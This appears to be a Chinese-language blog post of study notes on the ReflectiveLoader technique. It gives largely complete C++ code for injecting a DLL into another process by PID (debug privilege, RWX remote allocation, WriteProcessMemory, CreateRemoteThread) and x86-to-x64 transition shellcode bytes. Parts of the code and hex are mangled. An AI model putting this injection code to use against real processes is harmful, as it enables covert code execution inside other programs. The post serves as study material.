• ReflectiveLoader分析(远程线程注入 PE修正)


    从github上下载了ReflectiverLoader认真学习了一下 在代码中得到一些心得和自己的想法,都按步骤写到了代码中,现在分享给大家,如有错,望大家指正

    其中需要注入的dll和解析, 内存RVA与 文件RVA的转换代码(汇编与c++的都有)和解析,shellcode的汇编附到链接 

     一.这是用到的shellocode

    作用:经调试得出他是为了解决x86下运行x64 的问题(windbg可以看到是通过远跳转到x64下执行)

    static BYTE __ExecutexX64[] = "x55x89xE5x56x57x8Bx75x08x8Bx4Dx0CxE8x00x00x00x00"
    "x58x83xC0x25x83xECx08x89xE2xC7x42x04x33x00x00x00"
    "x89x02xE8x09x00x00x00x83xC4x14x5Fx5Ex5DxC2x08x00"
    "x8Bx3Cx24xFFx2Ax48x31xC0x57xFFxD6x5Fx50xC7x44x24"
    "x04x23x00x00x00x89x3Cx24xFFx2Cx24";
    
    static BYTE __FunctionX64[] = "xFCx48x89xCEx48x89xE7x48x83xE4xF0xE8xC8x00x00x00"
    "x41x51x41x50x52x51x56x48x31xD2x65x48x8Bx52x60x48"
    "x8Bx52x18x48x8Bx52x20x48x8Bx72x50x48x0FxB7x4Ax4A"
    "x4Dx31xC9x48x31xC0xACx3Cx61x7Cx02x2Cx20x41xC1xC9"
    "x0Dx41x01xC1xE2xEDx52x41x51x48x8Bx52x20x8Bx42x3C"
    "x48x01xD0x66x81x78x18x0Bx02x75x72x8Bx80x88x00x00"
    "x00x48x85xC0x74x67x48x01xD0x50x8Bx48x18x44x8Bx40"
    "x20x49x01xD0xE3x56x48xFFxC9x41x8Bx34x88x48x01xD6"
    "x4Dx31xC9x48x31xC0xACx41xC1xC9x0Dx41x01xC1x38xE0"
    "x75xF1x4Cx03x4Cx24x08x45x39xD1x75xD8x58x44x8Bx40"
    "x24x49x01xD0x66x41x8Bx0Cx48x44x8Bx40x1Cx49x01xD0"
    "x41x8Bx04x88x48x01xD0x41x58x41x58x5Ex59x5Ax41x58"
    "x41x59x41x5Ax48x83xECx20x41x52xFFxE0x58x41x59x5A"
    "x48x8Bx12xE9x4FxFFxFFxFFx5Dx4Dx31xC9x41x51x48x8D"
    "x46x18x50xFFx76x10xFFx76x08x41x51x41x51x49xB8x01"
    "x00x00x00x00x00x00x00x48x31xD2x48x8Bx0Ex41xBAxC8"
    "x38xA4x40xFFxD5x48x85xC0x74x0Cx48xB8x00x00x00x00"
    "x00x00x00x00xEBx0Ax48xB8x01x00x00x00x00x00x00x00"
    "x48x83xC4x50x48x89xFCxC3";
    
    
    
     

    二.用到的结构体 宏定义和哈希值(利用MakeHanValue计算就行,代码中有小注释)

    #define MYFUNCTION_HASH		0x6654bba6 // hash of "MyFunction"
    enum {
    	UNKNOWN,
    	X86,
    	X64
    };
    
    
    #define DEREFERENCE   (Value) *(UINT_PTR *)(Value)
    #define DEREFERENCE_64(Value) *(DWORD64 *)(Value)
    #define DEREFERENCE_32(Value) *(DWORD *)(Value)
    #define DEREFERENCE_16(Value) *(WORD *)(Value)
    #define DEREFERENCE_8 (Value) *(BYTE *)(Value)
    
    typedef BOOL (WINAPI *LPFN_ISWOW64PROCESS) (HANDLE, PBOOL);
    
    typedef BOOL(WINAPI* LPFN_FUNCTIONX64)(DWORD ParameterData);
    typedef DWORD(WINAPI* LPFN_EXECUTEX64)(LPFN_FUNCTIONX64 FunctionX64, DWORD ParameterData);
    
    typedef struct _WOW64CONTEXT_
    {
    	union
    	{
    		HANDLE ProcessHandle;
    		BYTE   Padding[8];
    	}u1;
    
    	union
    	{
    		LPVOID ThreadProcedure;
    		BYTE   Padding[8];
    	}u2;
    
    	union
    	{
    		LPVOID ParameterData;
    		BYTE   Padding[8];
    	}u3;
    	union
    	{
    		HANDLE ThreadHandle;
    		BYTE   Padding[8];
    	}u4;
    } WOW64CONTEXT, *LPWOW64CONTEXT;
    
     

    三.主函数的解析

    int main()
    {
    HANDLE FileHandle = NULL;
    ULONG  FileLength = 0;
    LPVOID FileData = NULL;
    ULONG  ReturnLength = 0;
    HANDLE ProcessHandle = NULL;
    HANDLE RemoteThreadHandle = NULL;
    DWORD  ExitCode = 0;
    if (EnableSeDebugPrivilege(L"SeDebugPrivilege", TRUE) == FALSE)
    {
    return 0;
    }
    DWORD ProcessID = 0;
    printf("Input ProcessID:
    ");
    scanf("%d", &ProcessID);
    #ifdef_WIN64
    char* DllFullPath = "ReflectiveLoader.dll";
    #else
    char* DllFullPath = "ReflectiveLoader.dll";
    #endif
    //1.打开文件
    FileHandle = CreateFileA(DllFullPath, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    if (FileHandle == INVALID_HANDLE_VALUE)
    {
    printf("CreateFileA() Error
    ");
    goto Exit;
    }
    //2.获得大小
    FileLength = GetFileSize(FileHandle, NULL);
    if (FileLength == INVALID_FILE_SIZE || FileLength == 0)
    {
    printf("GetFileSize() Error
    ");
    goto Exit;
    }
    //3.申请堆内存
    FileData = HeapAlloc(GetProcessHeap(), 0, FileLength);
    if (!FileData)
    {
    printf("HeapAlloc() Error
    ");
    goto Exit;
    }
    //4.读内存
    if (ReadFile(FileHandle, FileData, FileLength, &ReturnLength, NULL) == FALSE)
    {
    printf("HeapAlloc() Error
    ");
    goto Exit;
    }
    //以下是对目标进行操作
    //5.打开目标进程
    ProcessHandle = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ,
    FALSE, ProcessID);
    if (!ProcessHandle)
    {
    printf("OpenProcess() Error
    ");
    goto Exit;
    }
    //6.加载动态库
    RemoteThreadHandle = LoadRemoteLibrary(ProcessHandle, FileData, FileLength, NULL,MYFUNCTION_HASH,(LPVOID)"911",strlen("911")+1);
    if (!RemoteThreadHandle)
    {
    printf("LoadRemoteLibrary() Error
    ");
    goto Exit;
    }
    printf("LoadRemoteLibrary() Success
    ");
    //7.远程线程等待注入
    WaitForSingleObject(RemoteThreadHandle, INFINITE);
    if (!GetExitCodeThread(RemoteThreadHandle, &ExitCode))
    printf("Input AnyKey To Exit
    ");
    getchar();
    //8.释放内存
    Exit:
    if (FileData)
    {
    HeapFree(GetProcessHeap(), 0, FileData);
    }
    if (FileHandle!=NULL)
        {
    CloseHandle(FileHandle);
    FileHandle = NULL;
        }
    if (ProcessHandle)
    {
    CloseHandle(ProcessHandle);
    ProcessHandle = NULL;
    }
    return 0;
    }
    
    
    

    四. LoadRemoteLibrary的解读(其中三种获得目标体系结构的方法 我记入了笔记)

    HANDLEWINAPI LoadRemoteLibrary(
    HANDLEProcessHandle,
    LPVOIDFileData,   //Dll文件数据
    DWORDFileLength,
    LPVOIDParameterData,
    DWORDFunctionHash,//函数哈希值
    LPVOIDUserData,
    DWORDUserDataLength)
    {
    HANDLE RemoteThreadHandle = NULL;
    DWORD  RemoteThreadID = 0;
    DWORD TargetArchitecture = X86; //目标体系结构
    DWORD DllArchitecture = UNKNOWN;
    #ifdefined(_WIN64)
    DWORD CurrentArchitecture = X64;
    #elifdefined(_WIN32)
    DWORD CurrentArchitecture=X86
    #else
    #endif
    __try
    {
    do
    {
    if (!ProcessHandle || !FileData || !FileLength)
    {
    break;
    }
    //第一幕
    // 1.获得目标进程的Architecture 进程通过内核获得体系结构
    HMODULE KernelModuleBase = LoadLibraryA("kernel32.dll");
    if (!KernelModuleBase)
    break;
    __IsWow64Process = (LPFN_ISWOW64PROCESS)GetProcAddress(KernelModuleBase, "IsWow64Process");
    FreeLibrary(KernelModuleBase);
    if (__IsWow64Process)
    {
    BOOL IsOK;
    if (!__IsWow64Process(ProcessHandle, &IsOK));
    {
    break;
    }
    if (IsOK)
    {
    TargetArchitecture = X86;
    }
    else
    {
    //通过系统判断32位与64位
    SYSTEM_INFO SystemInfo = { 0 };
    GetNativeSystemInfo(&SystemInfo);
    if (SystemInfo.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64)
    TargetArchitecture = X64;
    elseif (SystemInfo.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_INTEL)
    TargetArchitecture = X86;
    else
    break;
    }
    }
    // 2.通过PE获得获得Dll的Architecture
    //MZ头+e_lfanew=NT头
    PIMAGE_NT_HEADERS ImageNtHeaders = (PIMAGE_NT_HEADERS)(((PUINT8)FileData) + ((PIMAGE_DOS_HEADER)FileData)->e_lfanew);
    if (ImageNtHeaders->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR32_MAGIC) // PE32
    DllArchitecture = X86;
    elseif (ImageNtHeaders->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR64_MAGIC) // PE64
    DllArchitecture = X64;
    // 3.判断DLL和目标进程是否是相同的架构??
    if (DllArchitecture != TargetArchitecture)
    {
    printf("Must Be Same Architecture
    ");
    break;
    }
    //第二幕
    //1.再次检查动态库的装入
    // check if the library has a ReflectiveLoader...
    DWORD ReflectiveLoaderOffset = GetReflectiveLoaderOffset(FileData);
    if (!ReflectiveLoaderOffset)
    {
    printf("Could Not Get ReflectiveLoader Offset
    ");
    break;
    }
    DWORD RemoteBufferLength = FileLength
    + UserDataLength
    + 64; // shellcode buffer
    // 2.alloc memory (RWX) in the host process for the image...
    LPVOID RemoteBufferData = VirtualAllocEx(ProcessHandle, NULL, RemoteBufferLength, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if (!RemoteBufferData)
    {
    break;
    }
    printf("VirtualAllocEx() Success
    ");
    //3.1 write the image into the host process...将图像写入主进程。
    //RemoteBufferData 指向写入数据的指定进程中的基地址的指针
    if (!WriteProcessMemory(ProcessHandle, RemoteBufferData, FileData, FileLength, NULL))
    break;
    //基地址+偏移
    ULONG_PTR ReflectiveLoader = (ULONG_PTR)RemoteBufferData + ReflectiveLoaderOffset;
    //3.2 write our userdata blob into the host process
    ULONG_PTR RemoteUserData = (ULONG_PTR)RemoteBufferData + FileLength;
    if (!WriteProcessMemory(ProcessHandle, (LPVOID)RemoteUserData, UserData, UserDataLength, NULL))
    break;
    //3.3写shellcode
    ULONG_PTR RemoteShellCode = RemoteUserData + UserDataLength;
    BYTE Bootstrap[64] = { 0 };
    DWORD BootstrapLength = CreateBootstrap(
    Bootstrap,
    64,
    TargetArchitecture,
    (ULONG_PTR)ParameterData,
    (ULONG_PTR)RemoteBufferData,
    FunctionHash,
    RemoteUserData,
    UserDataLength,
    ReflectiveLoader);
    if (BootstrapLength <= 0)
    {
    break;
    }
    printf("%p
    ", RemoteShellCode);
    getchar();
    if (!WriteProcessMemory(ProcessHandle, (LPVOID)RemoteShellCode, Bootstrap, BootstrapLength, NULL))
    break;
    printf("Wrote ShellCode Success
    ");
    /*
    此处的写入图
    RemoteBufferData[FileData的基地址]
    写入FileData
    RemoteUserData[UserData的基地址]
    写入UserData
    RemoteShellCode
    写入Bootstrap
    */
    //确保我们的更改是马上写的
    FlushInstructionCache(ProcessHandle, RemoteBufferData, RemoteBufferLength);
    printf("%p
    ", RemoteShellCode);
    getchar();
    getchar();
    //第三幕 判断主体与客体的位 并且创建线程执行
    // 目标64  当前32
    if (CurrentArchitecture == X86 && TargetArchitecture == X64)
    {
    Wow64CreateRemoteThread(ProcessHandle, (LPVOID)RemoteShellCode, ParameterData, &RemoteThreadHandle);
    ResumeThread(RemoteThreadHandle);
    }
    else
    {
    //目标32  当前32
    //目标64  当前64
    //目标32  当前64
    RemoteThreadHandle = CreateRemoteThread(ProcessHandle, NULL, 1024 * 1024,
    (LPTHREAD_START_ROUTINE)RemoteShellCode, ParameterData,
    (DWORD)NULL, &RemoteThreadID);
    /*lpStartAddress [in]指向由线程执行的类型为LPTHREAD_START_ROUTINE的应用程序
    定义函数的指针,并表示远程进程中线程的起始地址。该功能必须存在于远程进程中。
    lpParameter [in]
    指向要传递给线程函数的变量的指针。
    */
    }
    } while (0);
    }
    __except (EXCEPTION_EXECUTE_HANDLER)
    {
    RemoteThreadHandle = NULL;
    }
    return RemoteThreadHandle;
    }
    
    
    
     

    五.  Wow64CreateRemoteThread解读

    DWORD Wow64CreateRemoteThread(HANDLEProcessHandle, LPVOIDThreadProcedure, LPVOIDParameterData, HANDLE * ThreadHandle)
    {
    DWORD Result = ERROR_SUCCESS;
    LPFN_EXECUTEX64  ExecuteX64 = NULL;
    LPFN_FUNCTIONX64 FunctionX64 = NULL;
    WOW64CONTEXT*  Wow64Context = NULL;
    OSVERSIONINFO  OsVersionInfo = { 0 };
    do
    {
    //第一幕 判断系统是否合适
    OsVersionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
    if (!GetVersionEx(&OsVersionInfo))
    {
    printf("GetVersionEx() Error
    ");
    break;
    }
    // filter out Windows 2003
    if (OsVersionInfo.dwMajorVersion == 5 && OsVersionInfo.dwMinorVersion == 2)
    {
    printf("Is 2003 Error
    ");
    break;
    }
    //第二幕
    //1.分别为ExecuteX64,FunctionX64申请shellcode大小的内存兵赋值
    /*shellcode经过调试得出是通过远跳转到64位进程中执行 惭愧 瞎调了一遍还没有掌握调试方法 有点难。。。*/
    ExecuteX64 = (LPFN_EXECUTEX64)VirtualAlloc(NULL, sizeof(__ExecutexX64), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if (!ExecuteX64)
    {
    printf("VirtualAlloc() Error
    ");
    break;
    }
    FunctionX64 = (LPFN_FUNCTIONX64)VirtualAlloc(NULL, sizeof(__FunctionX64) + sizeof(WOW64CONTEXT), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if (!FunctionX64)
    {
    printf("VirtualAlloc() Error
    ");
    break;
    }
    // copy over the wow64->x64 stub
    memcpy(ExecuteX64, &__ExecutexX64, sizeof(__ExecutexX64));
    // copy over the native x64 function
    memcpy(FunctionX64, &__FunctionX64, sizeof(__FunctionX64));
    //2.设置上下背景文
    Wow64Context = (WOW64CONTEXT *)((BYTE *)FunctionX64 + sizeof(__FunctionX64));
    Wow64Context->u1.ProcessHandle   = ProcessHandle;   //目标进程句柄
    Wow64Context->u2.ThreadProcedure = ThreadProcedure;
    Wow64Context->u3.ParameterData   = ParameterData;
    Wow64Context->u4.ThreadHandle    = NULL;
    //3.执行该代码的环境是32位
    if (!ExecuteX64(FunctionX64, (DWORD)Wow64Context))  
    {
    printf("ExecuteX64() Error
    ");
    break;
    }
    //作为一个标识
    if (!Wow64Context->u4.ThreadHandle)
    {
    printf("ThreadHandle Is NULL
    ");
    break;
    }
    // 4.成功! 从上下文中抓取新的线程句柄
    *ThreadHandle = Wow64Context->u4.ThreadHandle;
    } while (0);
    //5.退出
    if (ExecuteX64)
    {
    VirtualFree(ExecuteX64, 0, MEM_RELEASE);
    ExecuteX64 = NULL;
    }
    if (FunctionX64)
    {
    VirtualFree(FunctionX64, 0, MEM_RELEASE);
    FunctionX64 = NULL;
    }
    return Result;
    }
    
    
    
     
  • 相关阅读:
    不用+做加法
    实用类型转换
    Failed to retrieve application JMX service URL
    0.辗转相除法
    1. 数组与字符串
    Java数据结构之257二叉树的所有路径
    Java数据结构与算法之DFS
    Java数据结构与算法之图
    Java数据结构与算法之快速排序、归并排序
    Java数据结构与算法之冒泡排序、选择排序
  • 原文地址:https://www.cnblogs.com/L-Sunny/p/7739246.html
Copyright © 2020-2023  润新知